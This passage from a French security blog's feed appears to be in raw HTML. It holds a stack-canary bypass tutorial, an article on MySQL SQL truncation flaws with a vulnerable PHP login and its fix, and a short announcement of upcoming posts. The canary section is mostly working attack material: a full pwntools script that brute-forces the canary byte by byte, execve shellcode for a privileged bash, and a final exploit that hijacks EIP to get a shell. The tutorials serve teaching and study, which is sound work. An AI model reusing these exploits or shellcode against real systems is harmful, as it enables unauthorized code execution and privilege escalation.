class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s">&#39;i386&#39;</span><span class="p">)</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">e</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s">&#39;./SSPbypass&#39;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">wait</span><span class="p">(</span><span class="n">until</span><span class="p">):</span> <span class="k">return</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">until</span><span class="p">)</span> <span class="k">def</span> <span class="nf">start</span><span class="p">():</span> <span class="k">global</span> <span class="n">p</span><span class="p">,</span> <span class="n">libc</span> <span class="k">if</span> <span class="n">p</span> <span class="ow">is</span> <span class="ow">not</span> <span class="mi">0</span><span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">&#39;./SSPbypass&#39;</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> <span class="n">wait</span><span class="p">(</span><span class="s">&quot;Size: &quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">trigger</span><span class="p">(</span><span class="n">buf</span><span class="p">):</span> <span class="n">p</span><span class="o">.</span><span class="n">writeline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span> <span class="n">dumb</span><span class="o">=</span><span class="n">wait</span><span class="p">(</span><span class="s">&quot;Input: &quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="k">return</span> <span class="n">wait</span><span class="p">(</span><span class="s">&quot;Size: &quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">leak</span><span class="p">(</span><span class="n">bufsize</span><span class="p">,</span><span class="n">canarysize</span><span class="p">):</span> <span class="n">leak</span> <span class="o">=</span> <span class="s">&quot;&quot;</span> <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o">&lt;</span> <span class="n">canarysize</span><span class="p">:</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span> <span class="n">hex_byte</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="n">buf</span> <span class="o">=</span> <span class="s">&quot;A&quot;</span><span class="o">*</span><span class="n">bufsize</span> <span class="o">+</span> <span class="n">leak</span> <span class="o">+</span> <span class="n">hex_byte</span> <span class="n">resp</span><span class="o">=</span><span class="n">trigger</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="c"># On test le cookie byte par byte</span> <span class="k">if</span> <span class="s">&#39;Done&#39;</span> <span class="ow">in</span> <span class="n">resp</span><span class="p">:</span> <span class="n">leak</span> <span class="o">+=</span> <span class="n">hex_byte</span> <span class="k">print</span><span class="p">(</span><span class="s">&quot;[*] byte : </span><span class="si">%r</span><span class="s">&quot;</span> <span class="o">%</span> <span class="n">hex_byte</span><span class="p">)</span> <span class="k">break</span> <span class="k">if</span><span class="p">(</span><span class="n">i</span><span class="o">==</span><span class="mi">255</span><span class="p">):</span> <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">&#39;Hum :(&#39;</span><span class="p">)</span> <span class="k">return</span> <span class="n">leak</span> <span class="n">start</span><span class="p">()</span> <span class="n">canary</span><span class="o">=</span><span class="n">leak</span><span class="p">(</span><span class="mi">64</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="s">&quot;[+] Canary </span><span class="si">%#x</span><span class="s">&quot;</span> <span class="o">%</span> <span class="n">u32</span><span class="p">(</span><span class="n">canary</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">4</span><span class="p">]))</span> <span class="n">trigger</span><span class="p">(</span><span class="s">&quot;A&quot;</span><span class="o">*</span><span class="mi">64</span><span class="o">+</span><span class="n">canary</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="s">&quot;bbbb&quot;</span><span class="p">)</span> <span class="c"># Rewrite eip par bbbb</span> </pre></div> <p>Il ne reste plus ensuite qu'à exploiter le programme de manière classique:</p> <div class="highlight"><pre><span class="gp">#</span> On <span class="nb">export </span>notre shellcode dans une variable d<span class="err">&#39;</span>environnement <span class="go">http://shell-storm.org/shellcode/files/shellcode-606.php execve(&quot;/bin/bash&quot;, [&quot;/bin/bash&quot;, &quot;-p&quot;], NULL)</span> <span class="gp">root@Geluchat:~#</span> <span class="nb">export </span><span class="nv">SC</span><span class="o">=</span><span class="k">$(</span>python -c <span class="s2">&quot;print &#39;\x90&#39;*100+&#39;\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80&#39;&quot;</span><span class="k">)</span> <span class="gp">root@Geluchat:~#</span>./getenv SC <span class="go">0xffffdf3e</span> </pre></div> <p>getenv.c</p> <div class="highlight"><pre><span class="cp">#include &lt;stdlib.h&gt;</span> <span class="cp">#include &lt;stdio.h&gt;</span> <span class="cp">#include &lt;unistd.h&gt;</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">&quot;0x%x</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="n">getenv</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]));</span> <span class="p">}</span> </pre></div> <p>Exploit final :</p> <div class="highlight"><pre><span class="c">#!/usr/bin/env python</span> <span class="c"># -*- coding: utf-8 -*-</span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s">&#39;i386&#39;</span><span class="p">)</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">e</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s">&#39;./SSPbypass&#39;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">wait</span><span class="p">(</span><span class="n">until</span><span class="p">):</span> <span class="k">return</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">until</span><span class="p">)</span> <span class="k">def</span> <span class="nf">start</span><span class="p">():</span> <span class="k">global</span> <span class="n">p</span><span class="p">,</span> <span class="n">libc</span> <span class="k">if</span> <span class="n">p</span> <span class="ow">is</span> <span class="ow">not</span> <span class="mi">0</span><span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">&#39;./SSPbypass&#39;</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> <span class="n">wait</span><span class="p">(</span><span class="s">&quot;Size: &quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">trigger</span><span class="p">(</span><span class="n">buf</span><span class="p">):</span> <span class="n">p</span><span class="o">.</span><span class="n">writeline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span> <span class="n">dumb</span><span class="o">=</span><span class="n">wait</span><span class="p">(</span><span class="s">&quot;Input: &quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="k">return</span> <span class="n">wait</span><span class="p">(</span><span class="s">&quot;Size: &quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">leak</span><span class="p">(</span><span class="n">bufsize</span><span class="p">,</span><span class="n">canarysize</span><span class="p">):</span> <span class="n">leak</span> <span class="o">=</span> <span class="s">&quot;&quot;</span> <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o">&lt;</span> <span class="n">canarysize</span><span class="p">:</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span> <span class="n">hex_byte</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="n">buf</span> <span class="o">=</span> <span class="s">&quot;A&quot;</span><span class="o">*</span><span class="n">bufsize</span> <span class="o">+</span> <span class="n">leak</span> <span class="o">+</span> <span class="n">hex_byte</span> <span class="n">resp</span><span class="o">=</span><span class="n">trigger</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="c"># On test le cookie byte par byte</span> <span class="k">if</span> <span class="s">&#39;Done&#39;</span> <span class="ow">in</span> <span class="n">resp</span><span class="p">:</span> <span class="n">leak</span> <span class="o">+=</span> <span class="n">hex_byte</span> <span class="k">print</span><span class="p">(</span><span class="s">&quot;[*] byte : </span><span class="si">%r</span><span class="s">&quot;</span> <span class="o">%</span> <span class="n">hex_byte</span><span class="p">)</span> <span class="k">break</span> <span class="k">if</span><span class="p">(</span><span class="n">i</span><span class="o">==</span><span class="mi">255</span><span class="p">):</span> <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">&#39;Hum :(&#39;</span><span class="p">)</span> <span class="k">return</span> <span class="n">leak</span> <span class="k">def</span> <span class="nf">getshell</span><span class="p">():</span> <span class="n">log</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="s">&quot;Enjoy your shell!&quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">&quot;python -c </span><span class="se">\&quot;</span><span class="s">import pty;pty.spawn(&#39;/bin/bash&#39;)</span><span class="se">\&quot;</span><span class="s">&quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span> <span class="n">start</span><span class="p">()</span> <span class="n">canary</span><span class="o">=</span><span class="n">leak</span><span class="p">(</span><span class="mi">64</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="s">&quot;[+] Canary </span><span class="si">%#x</span><span class="s">&quot;</span> <span class="o">%</span> <span class="n">u32</span><span class="p">(</span><span class="n">canary</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">4</span><span class="p">]))</span> <span class="n">buf</span><span class="o">=</span><span class="s">&quot;A&quot;</span><span class="o">*</span><span class="mi">64</span><span class="o">+</span><span class="n">canary</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0xffffdf3e</span><span class="o">+</span><span class="mi">20</span><span class="p">)</span> <span class="c"># On ajoute +20 en raison du padding de l&#39;environnement</span> <span class="n">p</span><span class="o">.</span><span class="n">writeline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span> <span class="n">wait</span><span class="p">(</span><span class="s">&quot;Input: &quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="n">getshell</span><span class="p">()</span> </pre></div> <p>Un dernier détail important, le canary, sous certaines distributions, peut contenir des null-bytes, il ne sera bypassable que sous certaines conditions, par exemple l’utilisation d’une fonction recv() couplée à un memcpy() qui sont deux fonctions gérants les null-bytes.</p> <p>Voila, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les SQL truncations : Une faille méconnue, mais très efficace2015-01-30T11:35:00+01:002015-01-30T11:35:00+01:00Geluchattag:www.dailysecurity.fr,2015-01-30:/les-sql-truncations<p>Aujourd'hui, j'ai le plaisir de vous présenter le premier article du site, il concernera les SQL truncations. Il est très probable que vous n'en ayez jamais entendu parler car les failles liées à SQL sont noyées par les SQL injections et les bypass en tout genre.</p> <p>Alors, une SQL truncation …</p><p>Aujourd'hui, j'ai le plaisir de vous présenter le premier article du site, il concernera les SQL truncations. Il est très probable que vous n'en ayez jamais entendu parler car les failles liées à SQL sont noyées par les SQL injections et les bypass en tout genre.</p> <p>Alors, une SQL truncation, ça ressemble à quoi? Et bien, ça n'est pas très difficile à appréhender.</p> <p>Prenons l'exemple du script SQL suivant:</p> <div class="highlight"><pre><span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">TEST_DAILYSECURITY</span><span class="p">(</span> <span class="n">id</span> <span class="nb">int</span> <span class="k">NOT</span> <span class="k">NULL</span> <span class="n">AUTO_INCREMENT</span><span class="p">,</span> <span class="n">login</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">12</span><span class="p">),</span> <span class="n">password</span> <span class="nb">CHAR</span><span class="p">(</span><span class="mi">32</span><span class="p">),</span> <span class="k">PRIMARY</span> <span class="k">KEY</span> <span class="p">(</span><span class="n">id</span><span class="p">)</span> <span class="p">);</span> <span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">TEST_DAILYSECURITY</span> <span class="k">VALUES</span><span class="p">(</span><span class="k">default</span><span class="p">,</span><span class="s1">&#39;admin x&#39;</span><span class="p">,</span><span class="s1">&#39;mdp&#39;</span><span class="p">);</span> </pre></div> <p>Avec un select de la table, on obtient:</p> <div class="highlight"><pre><span class="k">SELECT</span> <span class="n">login</span><span class="p">,</span> <span class="n">password</span> <span class="k">FROM</span> <span class="n">TEST_DAILYSECURITY</span><span class="p">;</span> <span class="o">+</span><span class="c1">---------+------------+</span> <span class="o">|</span> <span class="n">login</span> <span class="o">|</span> <span class="n">password</span> <span class="o">|</span> <span class="o">+</span><span class="c1">---------+------------+</span> <span class="o">|</span> <span class="k">admin</span> <span class="o">|</span> <span class="n">mdp</span> <span class="o">|</span> <span class="o">+</span><span class="c1">---------+------------+</span> <span class="mi">1</span> <span class="k">row</span> <span class="k">in</span> <span class="k">set</span> <span class="p">(</span><span class="mi">0</span><span class="p">.</span><span class="mi">00</span> <span class="n">sec</span><span class="p">)</span> </pre></div> <p>Le résultat est sans appel, le login a été tronqué par mysql. </p> <p>Mais pourquoi? Pour les plus observateurs, vous aurez remarqué que le champ login est un varchar de 12 caractères, donc mysql ne réfléchit pas, il enregistre dans l'espace qu'on lui a réservé, d’où la troncation du login.</p> <p><em>Remarque : MySQL efface les espaces derrière pour une raison d'optimisation de stockage.</em></p> <p>Maintenant, à quoi ça sert?</p> <p>Les exemples d'exploitation de cette faille sont multiples:</p> <ul> <li>En cas d'une mauvaise gestion de l’accès au back office d'un site, comme avec un:</li> </ul> <div class="highlight"><pre><span class="k">SELECT</span> <span class="n">id</span> <span class="k">FROM</span> <span class="n">TEST_DAILYSECURITY</span> <span class="k">WHERE</span> <span class="n">login</span><span class="o">=</span><span class="s1">&#39;admin&#39;</span> <span class="k">AND</span> <span class="n">password</span><span class="o">=</span><span class="s1">&#39;$_POST[password]&#39;</span><span class="p">;</span> </pre></div> <p>Suivi d'un test d'un type mysql_num_rows &gt; 0 , l'utilisateur aurait accès au panel d’administration.</p> <div class="highlight"><pre> <span class="nv">$db</span> <span class="o">=</span> <span class="nb">mysql_connect</span><span class="p">(</span><span class="s1">&#39;localhost&#39;</span><span class="p">,</span> <span class="s1">&#39;root&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">);</span> <span class="nb">mysql_select_db</span><span class="p">(</span><span class="s1">&#39;TEST_DAILYSECURITYDB&#39;</span><span class="p">,</span><span class="nv">$db</span><span class="p">);</span> <span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;password&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">&quot;SELECT id FROM TEST_DAILYSECURITY WHERE login=&#39;admin&#39; AND password=&#39;&quot;</span><span class="o">.</span><span class="nb">mysql_real_escape_string</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;password&#39;</span><span class="p">])</span><span class="o">.</span><span class="s2">&quot;&#39;&quot;</span><span class="p">;</span> <span class="nv">$req</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">)</span> <span class="k">or</span> <span class="k">die</span><span class="p">(</span><span class="s1">&#39;Erreur SQL !&#39;</span><span class="o">.</span><span class="nv">$sql</span><span class="o">.</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="nb">mysql_error</span><span class="p">());</span> <span class="k">if</span><span class="p">(</span><span class="nb">mysql_num_rows</span><span class="p">(</span><span class="nv">$req</span><span class="p">)</span><span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="c1">// Si la requête retourne au moins un résultat, on accède à la zone administrateur</span> <span class="p">{</span> <span class="c1">// ZONE ADMIN</span> <span class="k">echo</span> <span class="s1">&#39;Bienvenue Administrateur&#39;</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nb">header</span><span class="p">(</span><span class="s1">&#39;Location: &#39;</span><span class="o">.</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">&#39;HTTP_REFERER&#39;</span><span class="p">]);</span> <span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s1">&#39;&lt;form action=&quot;&quot; method=&quot;POST&quot;&gt;</span> <span class="s1"> Password: &lt;input type=&quot;password&quot; name=&quot;password&quot;&gt;&lt;/ br&gt;</span> <span class="s1"> &lt;input type=&quot;submit&quot; name=&quot;Se Connecter&quot;&gt;</span> <span class="s1"> &lt;/form&gt;&#39;</span><span class="p">;</span> <span class="p">}</span> <span class="nb">mysql_close</span><span class="p">();</span> </pre></div> <ul> <li>Un problème par requêtes multiples. On peut prendre comme exemple le <a href="http://kitctf.de/writeups/gits2015/aart/">challenge aart</a> de Ghost in the Shellcode qui avait deux requêtes insert à la suite, la deuxième utilisant une clause where sur un élément tronqué, un petit exemple:</li> </ul> <div class="highlight"><pre> <span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">TEST_DAILYSECURITY</span> <span class="k">VALUES</span><span class="p">(</span><span class="k">default</span><span class="p">,</span><span class="s1">&#39;$_POST[login]&#39;</span><span class="p">,</span><span class="s1">&#39;$_POST[password]&#39;</span><span class="p">);</span> <span class="c1">-- Si le login est supérieur à 12 il sera tronqué</span> <span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">AUTRE</span> <span class="n">TABLE_AVEC_IDUSER</span> <span class="k">VALUES</span><span class="p">(</span><span class="k">default</span><span class="p">,(</span><span class="k">SELECT</span> <span class="n">id</span> <span class="k">FROM</span> <span class="n">TEST_DAILYSECURITY</span> <span class="k">WHERE</span> <span class="n">login</span><span class="o">=</span><span class="s1">&#39;$_POST[login]&#39;</span><span class="p">));</span> <span class="c1">-- Cette table contiendrait des données incorrectes, je vous laisse imaginer si c&#39;était la table gérant les privilèges utilisateurs...</span> </pre></div> <p>On a donc pu voir que les SQL truncations sont très dangereuses et fortement méconnues. A savoir que la faille fonctionne aussi sous <a href="https://pastebin.com/1g3es9nq">PDO</a>. </p> <p>La solution, pour patcher cette faille, est très simple:</p> <div class="highlight"><pre><span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;login&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nb">strlen</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;login&#39;</span><span class="p">])</span><span class="o">&gt;</span><span class="mi">12</span><span class="p">)</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;Veuillez rentrer un login inférieur à 12 caractères&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="c1">// Vérification connexion administrateur et formulaire de connexion</span> <span class="p">}</span> </pre></div> <p>Voila, c'est déjà terminé, n'hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l'actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les posts à venir2015-01-26T00:25:00+01:002015-01-26T00:25:00+01:00Geluchattag:www.dailysecurity.fr,2015-01-26:/les-posts-a-venir<p>Je vais publier très prochainement, des articles de web et d'applicatif.</p> <p>Pour ce qui est du web ça sera un article sur les SQL truncations et les Path truncations (dans une LFI).</p> <p>Et en applicatif un petit cours sur le stack cookie (canary) et les différentes méthodes de bypass.</p> <p>Si …</p><p>Je vais publier très prochainement, des articles de web et d'applicatif.</p> <p>Pour ce qui est du web ça sera un article sur les SQL truncations et les Path truncations (dans une LFI).</p> <p>Et en applicatif un petit cours sur le stack cookie (canary) et les différentes méthodes de bypass.</p> <p>Si vous voulez prendre de l'avance sur moi n'hésitez pas à aller googler tout ça  :)</p>